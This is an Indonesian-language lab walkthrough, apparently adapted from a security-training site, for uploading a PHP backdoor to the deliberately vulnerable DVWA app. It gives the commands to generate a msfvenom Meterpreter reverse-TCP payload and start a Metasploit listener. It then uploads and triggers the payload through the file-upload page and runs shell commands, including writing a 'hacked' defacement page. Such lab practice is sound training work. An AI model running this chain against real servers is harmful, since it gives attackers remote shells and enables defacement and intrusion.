DVWA: Upload PHP Backdoor

sumber: http://www.computersecuritystudent.com/SECURITY_TOOLS/DVWA/DVWAv107/lesson8/index.html

Di Server DVWA

Ubah ijin folder uploads

sudo su
chown www-data.www-data /var/www/html/DVWA-1.9/hackable/uploads/
chmod 775 /var/www/html/DVWA-1.9/hackable/uploads/
ls -ld /var/www/html/DVWA-1.9/hackable/uploads/

Di Kali Linux

Cek ip address

ifconfig

Misalnya IP address kali linux adalah 192.168.0.2

Buat PHP msfpayload

mkdir -p /root/backdoor
cd /root/backdoor
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.2 LPORT=4444 R > PHONE_HOME.php
ls -l PHONE_HOME.php

Start Payload Listener

Jalankan

msfconsole

Ketik

use exploit/multi/handler
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.0.2
set LPORT 4444
exploit

Browse ke DVWA

http://ip-address/DVWA-1.9/
username admin
password password

DVWA Security > Low > Submit
File Upload > Browse

hack

http://ip-address/DVWA-1.9/hackable/uploads/

aktifkan klik

PHONE-HOME.php

Dari metasploit

Di metasploit jalankan

shell     Establishes a "sh" shell.
uptime    How long has the server been up
pwd       Current working directory
whoami    Show who am I logged in as.
w         Notice there is no entry for the user apache
echo "Hacked at 17-08-2017, by Your Name" > hacked.html
       Create some simple web graffiti
       Replace 4-23-2012 with the present date.
       Replace the string "Your Name" with your actual name.
ls -l

Cek

http://ip-addres/DVWA-1.9/hackable/uploads/hacked.html

Referensi

• http://www.computersecuritystudent.com/SECURITY_TOOLS/DVWA/DVWAv107/lesson8/index.html